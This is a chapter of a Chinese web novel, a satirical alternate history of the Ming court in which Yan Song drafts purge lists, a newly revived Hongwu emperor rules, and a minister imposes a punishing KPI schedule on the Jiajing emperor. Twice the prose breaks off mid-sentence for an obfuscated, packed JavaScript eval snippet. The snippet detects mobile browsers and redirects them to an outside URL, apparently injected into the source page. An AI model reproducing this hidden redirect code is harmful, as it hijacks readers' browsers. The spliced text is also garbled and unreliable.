这样的皇帝,这样的首辅!这样的君臣搭配!这样的权力运使!——即使是阴狠刻毒、毫无底线,纯靠马屁上来的衮衮诸公,一念及此,眼前都是猛然一黑! 当然,严老登也没有飞扬跋扈到完全无视纲纪的地步,至少事后内阁还是发了个公告,解释说罪名中的“亵渎不堪”指的是这两个下贱货色贪污了土木兴建中安置百姓的银两,导致京中流民遍地,损及圣名,所以才断然处置;其余流言无稽,根本不足一驳——但是,你猜朝中的青词高官到底信不信? ——喔,这倒不是说这两个货色没有贪,他们百分百在大捞特捞;可你觉得,我们飞玄真君与严阁老君臣,是会因此而愤怒的人吗? 所以说,这就是口碑呀! 总之,手段非常,令人惶惧;稍有与闻者,都不能不在私下议论这可怕的流言,为这等恶例而胆战心惊——毕竟,真对祭祀和青词吹毛求疵,那最凄惨的肯定不会是这两个货色。 如斯忧虑,莫可排解,群疑满腹,总是横亘在心;以至于高官们历行到通政使司呈交公文,交完后还要留一留步,与同僚私下议论: “听说了么?那两个在诏狱里还受了刑,把家产吐了个干干净净;因为锦衣卫下手太重,现在还生死不明呢。” “啧啧,以现下的情形,所谓生死不明,那不就是……” ——那不就是死了嘛! 不过,这句话并没有说话,蛐蛐议论的官僚们顷刻安静了下来;一切嘈杂迅速消失,所有人呆立远处,看着远方抬来一座软轿,恰恰停在了人前。 轿夫们倾下轿子,将严阁老从轿中搀了出来;严阁老直起身来,拍打衣袖,左右扫视了一圈,目光所到之处,无不凛然——毕竟,背后蛐蛐是一回事,当着这样狠毒、阴险、全无底线的老货再嘟囔几句,那又绝对是另一回事了。 怎么,你也很想舔皇帝的时候被盲审敏感·词吗? 严阁老却没有在意这怪异的态度。在一片恐惧之中,他只淡淡开口: “老夫今日至此,是有些事要转告诸位。内阁的次辅张治张文邦上了表章请求告老,陛下已经允准了;以后诸位的公文,就不必转呈张文邦了,老夫一并料理即可。” 众人:??! 几个当官的措手不及,登时倒吸了一口凉气! ——张治居然告老了?! 没错,他们都知道,如今的次辅张治不过是内阁的一个花瓶,点头微笑副署签字,实权早就被首辅严嵩夺了个大半;但无论如何,如此资历深厚的内阁大学士,只要在朝一日,就是对严嵩绝对的制衡,也总还有那么一点弹压的希望;而如今贸然退休,又意味着什么? 再说了,以张治两朝老臣的身份,就算他本人厌倦朝局不想再干,退休走的也该是三辞三让的流程,皇帝应当反复赏赐慰留,充分褒扬老臣功绩,给予最风光体面的待遇;而绝不是现在这样,奏疏一上立刻允许,悄无声息间一切定调,仿佛是迫不及待,要把人直接踢出朝廷一般! 如此不留情面的处置,又是谁的手笔?张治被驱逐之后,朝中又有谁会不可一世,从此肆无顾忌? 一念及此,所有人望向严阁老的窥探目光,登时都多了无数的忌惮! 毫无疑问,这就是严老登的毒辣权谋;谄媚逢迎,排斥异己,不惜抛弃一切底线跪舔皇帝,也要确立自己在朝中至高无上的地位;深自隐伏,一朝得势,心思之狠辣缜密,简直无可想象……他特意前来告知这个消息,恐怕正是来炫示自己辉煌的成功、独尊的权势,以此威慑所有不逊的角色,宣告他严嵩的权威,从此完全确立! ……不过,也不知道是城府太深,还是别的什么缘由;明明已经获得了这么大、这么漂亮的胜利,严阁老的表情却依旧极为冷淡、疲倦,神色木然,看不出一点喜悦……唉,也许真正阴刻深沉的人物,都有这样不动声色的能耐吧;表里不一如斯,更令人畏惧了。 当然,无论私底下的算计多么的静水流深,表面上该做的还是得做;寂静片刻之后,有人趋步上前,拱手询问: “张公勋劳卓著,如今功成身退,我等也该送上一送。敢问阁老,张公打算什么时候离京呢?” 严阁老看了此人一眼。 “不必操心了。”他淡淡道:“张文邦早就动身了,你们怕是追不上的。” 显然,张治能在嘉靖朝混到内阁的位分,那最大的能耐就是特别有眼力见——收到高皇帝恩准退休的批示之后,他都没有费神耽搁一分钟,一面托人呈交谢恩奏折,一面打点包裹带齐家小,胡乱雇了辆马车直奔城外,飘逸横出,一骑绝尘;一日一夜,不眠不休,由京师奇袭河北,真所谓乘奔御风,不以急也——由此可见,茶馆中闲人们有关大明大臣的长跑笑话,虽然稍有夸张,但也不是完全没有根据呀。 ——总之,八八,这就是我的逃跑路线哒!! 张生此去,无异登仙;严阁老收到报告之后,心中百感交集,都唯有羡慕而已;可惜,寻常庸人不能体会阁老深沉复杂的心绪;相反,在知道了张公下落之后,还有几人忍不住面面相觑,露出了明显的战栗: 不仅把人赶出了朝廷,居然连最后一次同僚相见都不能允许么?严老登,你这家伙…… 唉,手持大权的人居然如此狠辣,如此强横,如此不可一世,真正思之令人胆寒,恐惧畏怖,莫可名状——这当今的政局,该如何是好啊! · 严阁老等了片刻,踏步走上通政使司的台阶,所过之处,沿途官僚无不天天退让,躲避三尺,犹且不及——炙手可热势绝伦,慎莫近前丞相嗔;大概就是如此。 不过,严 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17318266|198458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阁老本身并未在意,他迈入正堂,随手接过书吏递上来的几份文件,刚想到室内仔细看上一看。就听到后面一连的脚步声,然后是亲切而热烈的呼唤:“爹,爹!” 严阁老回头看去——并不是他的冤种好大儿严世藩,严世藩还在工部混日子呢——是个胡须花白的官,一路小跑过来: “爹,方才人多,儿子这才来见您了!” 他笑容满面,连连拱手,还微微屈起双腿,绝不高过严阁老的身形去;严嵩居高临下,瞥了一眼,立刻认出此人——刑部右侍郎、前左佥都御史,鄢懋卿。 虽然忙于政务,已经有多日没见外人,但严阁老对此人的印象,仍然极为深刻;第一嘛,是因为此人刑部右侍郎的官位,就是靠跪舔严家舔出来的,而他奉承手段之无所不至,也不能不令人感叹;第二嘛,则是侍郎鄢懋卿的尊姓大名,恰恰就在上一份“洪武杀”名单的顶端,说书人钦赐代号“冒青烟”的就是。 不过,冒青烟运气不错,没有上红色单子,还在白色单子的区域里徘徊——当然,这并非是因为鄢侍郎情有可原,而是他疑似与海外的走私商有勾结,害怕贸然抓捕打草惊蛇,干脆先冷下来看上一看,不过嘛…… 一念及此,严阁老微微有点出神——按照高皇帝的定位,“洪武杀”名单就是他严嵩最大的kpi,要是完不成名单,那他自己就得上下一份名单——洪武名单一个月交两次,算下来他几天后就该交下一份稿;但现在凑出的名字委实还有点不足,要是不再琢磨几个有分量的,那高皇帝物理催更起来,恐怕就…… 鄢懋卿可不知道严阁老在想什么危险的东西,他还在绞尽脑汁,竭力奉承呢——鄢懋卿这种人最精了,很早就就看准时机拜入了严阁老门下,而且很善于因时事而选择身份;在严阁老未入内阁时,他呼唤严阁老为“兄”,严阁老刚入内阁,他就改为呼唤“叔”,等到严阁老当上首辅,那干脆就直接叫爹了: “爹!张治这老货终于走了,朝中再没有阻碍,恭喜爹可以一掌内阁了!” 好吧,严阁老终于反应了过来,他一眼扫过,神色漠然: “什么爹不爹的,工作的时候要称职务。” 鄢懋卿:? 鄢懋卿不觉噎了一下,但迅速又挤出了真诚的笑容: “阁老深得圣上宠信,下官们都真心为阁老高兴。只不知张治这老货走了以后,内阁还要补谁呢?以阁老的恩信,圣上必定是要听取阁老高见的。阁老责任至重,还要为国好自将息呢。” “喔。”严嵩瞥了他一眼:“你很关心内阁的构成么?那我举荐你进内阁,亲自面圣,博取圣心,怎么样啊?” 鄢懋卿:?? 怎么这眼神还有点瘆人呢? 好吧,鄢懋卿算是听出来了,他野爹现在似乎并不怎么高兴;于是方才苦心筹谋,预备探听内阁人事变动的计划不能不就此搁置,转而苦思冥想,先哄好爹再说: “好叫阁老晓得。阁老仕途顺遂,我们里里外外的人都高兴得不得了,所以私下里凑了一点心意,想孝敬孝敬阁老,都不是什么稀罕玩意儿,只求阁老赏收。” 说到此处,他向前一步,压低了声音:“……其余也罢了,辽王长子最近派人到京中活动,带了不少好玩意儿来。下官想法子搞到手几件,求阁老赏脸看看如何。” ……辽王?内阁怎么不知道辽王府派人到京城来了? 依照宗藩的条例,不经过朝廷就遣人入京,这算是私下交接大臣,居心深险莫测了吧? 严阁老转过了头来,第一次仔细盯住了冒青烟: “喔。”他柔声道:“辽王府的人在京城?” “是。”冒青烟高兴道:“阁老大概不知道,那辽王府的手笔,当真阔绰,到处撒钱找门路,说是想法子要面圣一回;他们的人百般钻营,不仅特意备了给圣上供奉的各色道经丹药,还有一壶极大极难得的珍珠;真是五色灿烂,宝光照人,几十年都不得一见的好东西呢。下官费了大力气才拿下来的。” ……大珍珠?沿海可不产顶级珍珠,这玩意儿是深海里的出产,只有大海商才有资格染指;那么大海商的宝物,是怎么到内陆藩王的手上的呢? 严阁老沉默片刻,终于露出了一个微笑——这是他踏足通政使司以来,第一个发自内心的微笑 “很好。”他笑道:“当真是举世罕见的大珍珠么?还请足下好生为老夫说一说。” 19.勤政 无论政局如何动荡不宁,高层人心如何起伏不定,牛马的使命总是不变;尤其是高皇帝降世之后,特别是高皇帝降世之后,一切有关人等更不能不绷紧皮肉,拼命劳作,以此来报偿老朱家平均每个月高达一千大钱,且常有拖欠的丰厚俸禄;虽996、007,亦不足以补其劳苦;而首当其冲之严阁老,更是丝毫轻松不得。他头一天要奔波数里,到通政使司传达政令、处理事务,第二天又要马不停蹄爬起,在寅时赶到西苑禁门,交接文件。 寅时是多久?不过凌晨四点!你们见过凌晨四点的京城吗?! 当然,严阁老不是没有在昏暗凌晨时爬起来内卷过;不过那时候是为了伺候真君修道,怀中抱着的也不是公文而是贺表;所以今天带着一摞文件入门,未尝没有些微的新奇之感。 只是,这种感觉很快消散了。因为司礼监首席秉笔黄公公面无表情的走了过来,怀中同样抱着一摞文件——两个牛马相见之时,内卷的一天就要开始了。 两人相见,绝无寒暄——高皇帝给俸禄是让你带薪寒暄的?——简单核对一遍印信,严阁老即递出一叠纸: “名单。” 反复考量,分门别类的洪武杀名单,有待高皇帝过目。 黄锦检查数目,依次签字,同样抽出一份文件: “名单。” 洪武皇帝确定的上一份最终解决名录,真正意义上的大明死亡笔记。如今在诏狱中被杖毙的两个贪污犯工部郎中,就是微不足道的一点前期成效。 严嵩同样签字确认,再仔细收好这份death note;高皇帝手下一切就是这么有效率,平日需要半日的工作如今只核对了不到一刻钟。然后黄锦开始交代额外的安排。 “说书人吩咐。”他面无表情道:“朝天观和玄都观的工程应该立刻停止,剩余的银两赔偿给被强拆后流离失所的百姓;没用完的木材砖石拨发下去,在城郊修建营地,安置入京的流民。先把局势稳定再说——另外,这样的事,可以交给翰林侍读张居正协同办理。” ……翰林侍读张居正——看来徐阶那个老货也过关了;他们几个相伴的日子,怕还是长久得很呢。 严阁老面色木然:“贸然停工,是否要交代缘由?” “说书人说。”黄公公道:“可以对外宣称,是皇帝陛下吃多了丹药脑袋尖尖,看着几处宫观就觉得申气,干脆停掉了事。” 严阁老:? 即使以严嵩而今朽木死灰,万事不能萦绕的枯寂心境,骤然听闻此语,那呼吸都是猛的一窒! ——不是,你要不听听,这像是人话吗?! 刚刚熬走了一个飞玄真君,紧接着要伺候的居然又是此等人物……说书人+高皇帝,只要想想这个绝妙搭配,严阁老简直眼前都要一黑! 苍天呐!! “此外。”黄公公没有搭理同僚的凄凉,兀自交代:“河南河北流民的事情,前几次派去的御史本来应该能发现端倪;但他们居然巧为掩饰,蓄意纵容;这样的人留不得,想法子把他们一并下诏狱,拷问清楚主使。” “是否需要公开罪名?” “不要打草惊蛇,另外找个法子抓。”黄锦道:“说书人说,这几个人之前的青词过不了查重,多半是抄的;让你找个人做个调色盘,把重复挪用的段落标记出来,以大不敬之罪下狱,慢慢再问。” “……喔。” 人的承受力也是磨练出来的,在先前的惊骇之后,严阁老如今只是答应了一声,默默记了下来。 查重就查重吧,又不是查我的重,是不是? · 严阁老以炭笔记下刚刚交托的各项任务,黄公公则站立在侧,默默等候。等到严嵩记录完毕,他才缓慢出声,虽然百般不情愿,但仍然要说出那句可怕之至的话: “还请阁老留意,十日后就要交名单了。” ……是的,催更。 《洪武杀》名录一月两更,由低至高,由小到大,每一次的更新都绝对延误不得,否则相关一切人等,都要仔细自己的皮——可是,这样清理积弊、杀人如麻的单子,哪里是这么好拟定的?所以每次奉命催更,当事人与催更人之间,彼此都是一场极为痛苦的折磨;往往要面面相觑,口干舌燥,拉扯到神思恍惚为止;如此折磨一月来上数遍,也难怪黄公公与严阁老形影相避,见面绝没有一点笑脸。 这谁能笑得出来啊?! 不过,今日的严阁老却反应还尚可;实际上,他听到这恐怖通知,只是稍稍沉吟,便向上拱手: “烦请公公通传一声,老夫今日还想面圣,不知可否?” 虽然如今大明是二圣——三圣临朝(说书人也是圣!),但口称面圣,指的当然是唯一且最为辉煌的圣人,大明朝永不落幕的太阳。 黄锦微微犹豫了;如果换做其他皇帝,那凌晨四点跑去叫人简直是作死;但高皇帝不一样,众所周知,只要你带着政务上门,那么无论晚到几点,高皇帝都亦未眠。只是…… “阁老有要事?” 你非要去觐见太阳么?过于靠近恒星,那可是要燃烧殆尽的呀阁老! “是有关宗藩的大事,需要请高皇帝亲自定夺。” 行吧,这就无可推脱了:“那么咱家这就去上奏,请阁老稍等。” 他停了一停,又道:“西苑的布置……最近有些变更,请阁老紧随咱家,不要认错了才好。” · 随黄公公穿花拂柳,走入圣上燕居的玉熙宫,对此处早已熟稔之至的严阁老,入内后略为吃惊——原本陈设于此处镇压风水的各色道经、丹炉、金银法器被撤销一空,都换为了大小桌案;四面墙上悬挂的不再是三清太极,而是大明各省之详细舆图;空旷角落摆设的也不再是各处进献之奇妙祥瑞;而是一字排开的偌大书柜,书柜里是挤挤挨挨、直堆到顶的文件、账册、各色类书,琳琅满目,不可尽数—— 不是,不过十余日不到宫中,怎么这里竟改得与内阁档案库差不多了呢? 严阁老微有惊讶: “敢问公公,这是……” “这是礼部袁侍郎的建议。”黄公公面无表情:“高皇帝鉴纳以后,紧急动工改建的。” “袁侍郎?”严嵩吃了一惊:“袁炜?他还——” 他还活着啊?! 是的,十几日前中枢重臣屁滚尿流逃出宫外,随后张治告老、徐阶献徒、严嵩咬牙大玩“洪武杀”,三个老登竭尽全力腾挪生机,唯有妄图逃跑却被痛打一顿的袁炜袁侍郎下落不明,到现在都没有半点消息——老登们忙着大逃杀,也顾不上管这快脚跑男的行迹,只是心里多半笃定,觉得生死不明,那就是死了;毕竟,此人可是招惹说书人的罪魁祸首,如今落到人家手里,还能讨个好去? “高皇帝命人提审了他一回。”黄公公道:“发现此人虽然谄媚逢迎、心术狠辣,但却没有什么贪贿的迹象,平日里的政务办得也还妥当,所以法外开恩,见了他一面。袁侍郎……袁侍郎为了保全自己,向高皇帝进献了谏言。” 袁炜最大的幸运,大概就是他直接得罪的是说书人,而非高皇帝。整活主播整的活并不包括血腥杀戮,杨先生对剥皮也绝无爱好;既然袁侍郎除了党争略微无耻以外,其余并无劣迹,那么把人廷杖数十、饿上几天之后,二圣也不是不可以高抬贵手,听听他的狡辩——而聪明绝顶的袁侍郎当然不会错过如此良机,赶紧抓住机会,同样也展示了自己的价值。 严阁老更为惊讶:“什么谏言?” 黄公公微微犹豫。虽然神经回路,同样异于常人,但说书人的发癫方法,似乎与飞玄真君还略有差距,基本并不喜欢什么阴阳怪气谜语人的做派,反倒倾向于直接创人。他曾经明确下令,既然已经选中了严阁老徐阁老等——废物利用——担当大事,那么一切情报都不必隐瞒;该通报的尽量通报,该解释的全部解释,该明白的一律明白;至于当事人的神经能不能接受,那就不在考虑之内了。 按照这个命令推断,那么宫中的事情,确实也在解释范围;只不过详细解释起来,仿佛…… 黄公公闭了闭眼。 “袁侍郎说。”他平板道:“国家纲纪,之所以一败涂地;一半是因为上下官吏积习日久,软熟敷衍;另一半也是因为上面监督不力,轻佻涣散;圣上修道以来,幽居西苑,已经有十余年没有视朝了;大小臣工,难睹天颜,一切政务,纯靠揣测;没有君上时刻督责,臣子的心思,自然由谨慎而至懈怠,由懈怠而至放纵,朝廷政风,可想而之……” 严阁老愣了一愣: “这话——” 这话说得不错呀! 无论或贪或坏,或软或懒,能在真君手上混到内阁的都没有蠢货;严嵩徐阶等几十年和光同尘,当然知道现在官场最大的弊病是什么。官吏集体的堕落只是表象,真正的根由,在于真君十余年不见外人,朝局紊乱,纲纪扫地;最高权力的监控失位,再没有任何人能约束大明朝自发的崩坏。 ——你们老朱家的天下,姓朱的不操心不严管,还指望别人给你自带着干粮得罪人么?你当人人都是张居正那种冤种么? 洪武皇帝罢黜丞相,独揽大权之后,君主就成了大明朝最高且唯一的负责人;其余一切大臣,都只不过是为皇权奔走的牛马;如今顶头上司率先躺平拒绝见人,所有工作一律转为居家办理;那么这种类似于线上网课的治理模式,会折腾出个什么结局,当然可想而知……所以,袁侍郎迫急无奈,张□□代的谏言,确实击中了要害;可见除了溜须拍马以外,此人还真有那么几分能耐,能够苟活,倒也不算侥幸。 “袁侍郎说,以此观之,而今最紧迫的事,就是让陛下振作起来、焕发起来,能够抖擞精神,躬亲政务,表现出绝对勤勉的态度;这样才能给予懈怠涣散的朝臣足够的压力,使朝廷能够渐渐归复正轨。之后的事情,才好办理。” 严阁老微微沉默,不觉摇头:“这说得倒是……” ——说得倒是轻巧。可这样的建议,难道之前没有人给飞玄真君提过么?你不妨猜一猜,这些建议的结局如何? “所以。”黄公公道:“袁侍郎自告奋勇,提出自己可以担此大任;由他来监督着圣上勤勉端正,艰苦奋斗,将精力全部注入到政务上……” “——诶?” “周围的书柜、文件、舆图,就是袁侍郎提的建议。” 黄公公面无表情道: “袁侍郎认为,亡羊补牢,未为晚也;为了弥补过去的疏漏,当今圣上应该效法京城举子的作息,每日卯正起床,先花半个时辰记忆舆图、背诵各省风土人情、地势险要;再花一刻钟功夫用早膳、更衣;上午的时候努力处理政务,基础要求是阅读、批改五百份奏折以上;中午用两刻钟的时间进膳、休憩,再读半个时辰的大明宝训,用剩下的两个时辰检阅各省账目,研判贪贿及腐化情事,再召见锦衣卫及东厂,详细谈一个时辰的对外情报……如此安排,每日睡觉三个时辰,工作七个时辰,一定是勤能补拙,必有大效。” “——诶?!” “另外,业余时间也不能耽搁;国朝惯例,每十日有一日的休假,但是国家大事,哪里能稍微放松一刻?所以袁侍郎建议,把休假时间一律改为充实时间,要让圣上在政务之外,充实自己,提高自己,为将来更大的挑战作出准备。初步打算,是利用休假时背诵五百篇以上的政论,努力掌握一到两门方言,方便体察民情。” “——啊?!” “袁侍郎还说,他情愿为国献身,每日监督圣上如此作息。”黄公公依旧面无表情,显然,他早就被刺激得麻木了:“为了保证准确,他可以对圣上例行的工作进行打分——早读不及时扣五分,批阅奏折数目不够扣五分,质量敷衍了事扣十分,账目抽查不过关扣十五分;每月初一、十五,定期将打分表格呈送高皇帝及说书人审核,如此奖惩方有依凭……用说书人的话讲,一套严格的什么‘kpi考评制度’。” 严阁老:………… 严阁老连叫都叫不动了,严阁老的眼睛直接鼓了出来! 不是,这样也可以的吗?! 他痴呆半晌,只能吃吃开口,几乎语无伦次: “如此,如此手腕;两位,两位……” “高皇帝很赞赏这个建议。” ——废话,高皇帝当然赞赏了!这种靠kpi靠流程制靠疯狂内卷来折磨牛马的手腕,高皇帝怎么能够不喜欢?拜托,也就是袁某人生得太晚,否则要在洪武朝奉献如此妙计,那只怕大明官员,还要提前两百年就领受上内卷之福报呀! 君生我未生,我生君已逝;袁侍郎虽得其主,不得其时,悲夫! 不过,往者不可谏,来者犹可追;没有在生前让百官享受绩效考核的福报,在此时描补描补遗憾,也算不错;当然,绩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17325115|198458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 效考核固然有它冷酷、漠然、不人道的一面,但如果考虑到此种弊端是施加在当今飞玄真君身上……哎呀,这不就全是优点了吗? 垃圾是放错地方的资源,一般人岂能明白如此妙理! 严嵩的嘴角抽了一抽: “……那么,说书人呢?” “说书人没什么反应。”黄公公道:“他只说了一句,问袁侍郎是不是出身自河北衡水。” “啊?” “此外,说书人还为殿内的装潢做了一些指示。说是这样才更有气氛。” 黄锦将严阁老引入后殿,转过几个极高的木柜,后方豁然开朗,原本陈设的各色瑞草,同样清扫一空;取而代之的是几块极大的黑板,按日期分割成块,以粉笔登记真君每日获得的分数,下方再描点作图,起伏趋势一目了然,方便过往人等随时督导监视;左右两侧还写有大幅标语,气势汹汹,凌厉逼人: 【吃苦受累,视死如归】! 【提高一分,干掉千人】! 【要成功,先发疯,下定决心往前冲】! 黄公公久经历练,早已麻木;拎着拂尘,习以为常地穿梭于标语书柜之中;眼见严阁老步步迟疑,神色恍惚,仿佛大脑过载,目不暇接。他不觉踌躇了片刻——不知怎么的,或许是出于对真君的一点真心吧——黄锦到底冒险问了一句: “对于这种安排,阁老还有什么要说的么?咱家一定转交二圣。” 严阁老恍惚的目光从书柜、标语、堆积如山的文件上收了回来;毫无疑问,在精神巨大的冲击中,他已经充分领会到了此处无可言语的压力——显然,对于任何一个人而言,长期处于这种被监督、被评判、被压迫的连轴运转状态,精神和□□都将会遭遇巨大的折磨;可以说,这种折磨,与内阁昔日被迫无限内卷,服用丹药,拿生命为皇帝当小白鼠时所遭遇的痛苦,是差相仿佛的。 所以,作为一个曾经的青词阁老、丹药小白鼠,严阁老又能说什么呢? “老臣完全没有意见。”他轻轻道。 “而且老臣认为,这样的方法,还应该推广;美美与共,天下大同,圣上岂能自顾进取,而忽视了诸多宗室们呢?雨露均沾,才是帝王公道啊。” 说罢,他无视了黄公公仿佛见活鬼一样的目光,一甩衣袖,洒然入内了。 · 为高皇帝办事的体验,是真君面前完全体会不到的;在伺候飞玄真君的时候,每次入内觐见,首先就得是零帧起手,开口一片长篇大论、仙气飘逸的青词马屁;先把真君拍得舒舒服服,里外通泰,然后开始谈正事——怎么给真君修宫观、怎么给真君报祥瑞、怎么尽心展现我嘉靖之煌煌盛世;最后视真君心情,可以见缝插针谈一点人事任命和救灾之类的小事。 但伺候高皇帝就不同了;不需要马屁,不需要逢迎,不需要任何会浪费一丁点时间的玩意儿——时间就是生命,浪费时间就是谋财害命,你要谋害高皇帝的性命,高皇帝扒你的皮不是很正当?——严嵩把奏折交上去,立刻一撩衣摆跪了下来;奏折里详细记述了他与冒青烟交谈的整个经过,并强调了辽王府近年以来的斑斑劣迹:崇信邪道巫术、强夺无辜男女、随意殴杀官员、纵火焚宫取乐,等等等等,不计其数;辽地官民,怨声载道,比比皆是;如今辽王长子私通重臣,居心更不可问。 垂帘听政的高皇帝翻了一遍奏折,漠然开口: “辽王……老十五的后人;他烂成这样,锦衣卫怎么没有上报?” 严嵩下拜:“辽王曾蒙圣恩,赐为清微忠教真人。” 辽王当然是个头顶流脓的绝世坏种;但他却恰恰有一个造诣极深、水平极高的爱好——他非常精通旁门方术、玄学秘闻;而大家当然可以想见,此种个人取向,在真君手上会蒙受什么样的宠幸。 唉,还是要发展业余爱好呀! 帘幕内又传来了真君一声尖利的惨叫;严阁老充耳不闻,继续匍匐。 “所以,你上奏是想说什么?” “辽王行事,暗昧难言,伏祈陛下圣裁。此外,辽王府带入京中的某些珍物,委实有可疑之处……” 是的,严阁老上这一份奏疏,就是要摸一摸高皇帝的态度;要事圣心无意庇护,那么他就可以拿辽王尽情大刷kpi,至少接下来三个月的洪武杀更新量都不必忧虑了;这也是严阁老苦心套话,不惜拉下脸面,与冒青烟对谈半日之久的缘故。 ——不要小瞧了严阁老与更新之间的羁绊啊,混蛋! 当然,高皇帝要是心意改变,他也…… 帘幕中沉默了一会;然后,严阁老听到了里面窸窸窣窣翻动奏折的声音,以及说书人杨先生的讲话声,压得很低,但隐约可以分辨: “……奏折上说的什么‘五色珍珠’,一般只有东瀛海域附近才出产吧;毕竟那边才有富余的银离子与铜离子,可以为珍珠自然染色;东瀛,东瀛,难道他和倭寇……” 这一堆叽里咕噜,简直莫名其妙;不过高皇帝似乎立刻抓到了重点: “银?” “……东瀛有个很大的银矿,伴生有不少铜,恰恰能长这种珍珠。” 片刻的沉默。 “很大的银矿。”高皇帝喃喃道:“多大的银矿?” “可以供应大明一百年以上的需求吧,怎么了?” “……喔。” 更久的沉默。半盏茶功夫后,严嵩听到高皇帝的吩咐: “你在奏折中不是说,辽王府私自遣人贿赂,是想找到门路,入京觐见么?” “……是。” “那么。”高皇帝淡淡道:“就满足他的心愿,让他到京城来吧。你去安排。” 严阁老:………… 按理来说,严阁老对此是有预备的;召唤藩王进京问话,而非派人直接问罪,一般都是皇帝念及血亲,打算高抬贵手的意思。严阁老筹谋万全,也早做了打算——如果高皇帝态度严苛,他就抽出左边袖子的奏折请求严惩;如果高皇帝态度温和,他就抽出右边袖子的奏折请求宽免;准备万全,绝无疏漏,这就是严阁老的忍道。 按照过往指标,现在应该抽出右边袖子的奏折开始迎合了;但不知怎么的,严阁老微微踌躇,却总觉得有一股细微凉气,袭上心头。 ……高皇帝召见,真是打算宽免么? “……是。” 他到底没有掏出任何一份奏折。